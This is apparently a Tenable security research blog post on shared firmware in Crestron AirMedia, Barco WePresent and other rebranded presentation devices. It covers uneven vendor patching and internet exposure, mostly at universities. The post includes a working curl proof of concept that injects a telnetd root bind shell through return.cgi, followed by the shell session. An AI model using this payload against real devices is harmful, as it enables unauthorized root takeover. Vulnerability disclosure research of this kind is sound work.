Eight Devices, One Exploit

OEM Vulnerabilities

Jacob Baines

Published in

Tenable TechBlog

8 min readApr 30, 2019

I recently disclosed 15 vulnerabilities in Crestron’s AM-100 and AM-101 devices.

But that isn’t quite what this is about. You see, in the course of my normal background research I discovered Crestron had silently patched a backdoor in the AM-100 that had been previously found and patched in a Barco WePresent WiPG-1000.

The problem being, I had no idea what a WePresent was.

It turns out that Crestron’s AirMedia and Barco’s WePresent are more or less the exact same product. The underlying software was developed by Barco’s subsidiary AWIND.

Oddly, the devices seem to have different patch levels. For example, Barco patched the previously mentioned backdoor in April 2017, but Crestron didn’t release a patch until June 2018. Crestron also failed to notify their users of the patch which lead to Tenable issuing a research advisory.

**return.cgi**: AirMedia 1.5.0.3 with the backdoor vs. WePresent 2.3.0.10 patched

And Barco was missing patches that Crestron had implemented. Crestron fixed CVE-2017–16709, a command injection vulnerability, in June 2018, but Barco didn’t fix it in the WePresent until after I reported it to them in January 2019.

**return.cgi**: AirMedia 1.6.0.2 patched vs. WePresent 2.3.0.10 vulnerable popen call

That isn’t how I expect OEM patching to work. Shouldn’t Barco, at the very least, have all the patches Crestron has? Curious, I went hunting for other devices that might be based off of the WePresent.

Playing Detective on Shodan

I punched title:”Crestron Airmedia” and title:”wePresent” into Shodan. The results weren’t good. The AirMedia devices were all AirMedia 2, which are entirely different things. The few WePresent devices are ancient AWIND hardware.

Turns out the platform’s HTTP landing page is a Javascript forward that Shodan doesn’t follow

albinolobster@ubuntu:~$ curl -vv http://192.168.1.73
* Rebuilt URL to: http://192.168.1.73/
*   Trying 192.168.1.73...
* Connected to 192.168.1.73 (192.168.1.73) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.1.73
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< X-XSS-Protection: 1; mode=block
< Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
< Strict-Transport-Security: max-age=31536000; includeSubDomains
< X-Frame-Options: sameorigin
< Content-Type: text/html
< Accept-Ranges: bytes
< ETag: "1053312398"
< Last-Modified: Wed, 13 Jun 2018 17:48:21 GMT
< Content-Length: 152
< Date: Mon, 06 Jun 2005 19:38:57 GMT
< Server: lighttpd/1.4.37
< 
<script language="javascript" type="text/javascript">
var host=window.location.hostname;
self.location="http://"+host+"/cgi-bin/index.cgi?";
</script>* Connection #0 to host 192.168.1.73 left intact

I had to be a little more creative. The following queries seemed to capture all the relevant devices:

What’s striking is the devices are used overwhelmingly by universities. Particularly universities in North America. From the Ivy Leagues to state schools, it seems these devices have seriously penetrated the market. Using ARIN’s whois database, I found over 100 different universities in North America, at the time of writing, had these devices exposed to the internet. Even my own alma mater, an institute of technology, is exposed.

I guess that private school tuition isn’t going to network security

Variety is the Spice of Life

My Shodan sleuthing uncovered six more companies repackaging the WePresent platform:

So many different brands! Yet none of them seem to be linked by CVE. Maybe vulnerabilities found in WePresent or AirMedia simply aren’t patched in other devices? I figured I’d grab the devices’ firmware versions to get a better idea.

Versions in the Wild

There doesn’t appear to be a good way to extract the firmware version over HTTP. However, a custom protocol running on port 389 will tell you the device’s firmware version, hostname, and manufacturer. I wrote a python abomination to grab that information.

About 1600 internet-facing devices gave well formed responses to my port 389 query. The following chart breaks down the reported vendors.

You can see the biggest share of internet-facing devices is from Crestron.

Patching Crestron Devices is Hard (Apparently)

One pie chart is never enough. Let’s break down the Crestron AM-100 by reported firmware version.

The most up-to-date version, 1.6.0.2, is installed in less than 20% of AM-100 devices I scanned. All other versions are affected by unauthenticated remote code execution via the noNeedSeid backdoor and CVE-2017–16709. I created the following proof of concept for TRA-2019–02 using an AM-100 with firmware version 1.5.0.3:

albinolobster@ubuntu:~$ curl --header "Content-Type: application/x-www-form-urlencoded" --request POST --data "command=<Send><noNeedSeid>SetFlag</noNeedSeid><upload><protocol>http</protocol><address>http://192.168.88.253:1270||telnetd -l /bin/sh -b 0.0.0.0:1270|| whoami</address><logo>lol</logo></upload></Send>" --insecure https://192.168.88.250/cgi-bin/return.cgi
<return><protocol>http</protocol><result>0</result></return>
albinolobster@ubuntu:~$ 
albinolobster@ubuntu:~$ telnet 192.168.88.250 1270
Trying 192.168.88.250...
Connected to 192.168.88.250.
Escape character is '^]'.~/boa/cgi-bin # uname -a
Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux
~/boa/cgi-bin # cat /proc/cpuinfo 
Processor : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS : 532.24
Features : swp half thumb fastmult vfp edsp java 
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xb76
CPU revision : 7Hardware : WMT
Revision : 0000
Serial : 0000000000000000
~/boa/cgi-bin # whoami
root
~/boa/cgi-bin #

The AM-101 situation is even worse. Less than 18% have the most recent firmware, released in June 2018.

One reason Crestron AirMedia devices probably aren’t getting updated is because normal users can’t download the latest firmware:

Apparently, end users can’t be trusted to maintain their own devices.

WePresent Unpatched Devices

The patching habits of WePresent customers is hardly any better. Even though the firmware is publicly available, and end users have real incentive to keep their WePresent devices patched since Unit 42 has noted exploitation in the wild.

Reported firmware versions are all over the place. There are so many slices in the pie that it looks like Google Spreadsheet just gave up and started reusing colors.

Please Give Me Firmware?

Extron has a much smaller slice of the market share at ~12%. But I like Extron. They maintain a publicly available firmware archive.

Which is awesome when you are trying to do background research.

Unfortunately, Extron wouldn’t actually let me create an account and download firmware without giving them a serial number.

Can I Get an Update?!

Of course, the situation can always be worse. If you look closely at the “Internet Accessible Devices” pie chart, you’ll see that there are many manufacturers that have tiny slices in the pie. They are almost all just like TEQ AV IT. Pretty websites with glowing reviews.

But the site has no firmware information. No indication on how to upgrade the device. No release notes. Nothing. So it isn’t really a surprise when a majority of TEQ AVIT devices report their firmware version to be 1.0.0.1.

One Vulnerability to Rule Them All

One thing that is clear when looking through all the different versions is that not all devices have been affected by the same vulnerabilities. For example, both Crestron and Barco devices were vulnerable to hardcoded credentials in login_rdtool.cgi, but Extron’s ShareLink never was.

Image of **login_rdtool.cgi** taken from An Unwanted (Wireless) Guest by Mike Benich

There are so many different companies selling these devices and so many different firmware versions for each device that it seems unlikely that you’d find one vulnerability to own them all. But, given the blogs title, it should be obvious that I did find one.

Consider the contents of the HTTP server’s cgi-bin directory:

I want to call to your attention file_transfer.cgi. Why? Because it’s not actually used anywhere. It’s just some leftover artifact that exists in all the devices that I’ve mentioned. In fact, Barco noted this to me when discussing their fixes:

Two mitigations were even based on removing an unused file.

Of course, it just so happens this unused file doesn’t properly enforce authentication and is vulnerable to command injection. As such, we can root all the devices.

Proof of concept for CVE-2019–3929

A Conclusion of Sorts

So what have we seen here? A resold platform that has different levels of patching across different vendors. Slow patch deployment amongst the user base. Difficult to obtain firmware. Installations that expose the devices to the internet. And, finally, poor software development practices that left all the devices open to unauthenticated remote code execution.

What’s the solution? Stop buying devices that don’t have obvious firmware upgrade paths. Only buy from vendors that are known to follow standard security practices. Stop exposing your IoT to the internet. Nothing good can come from that.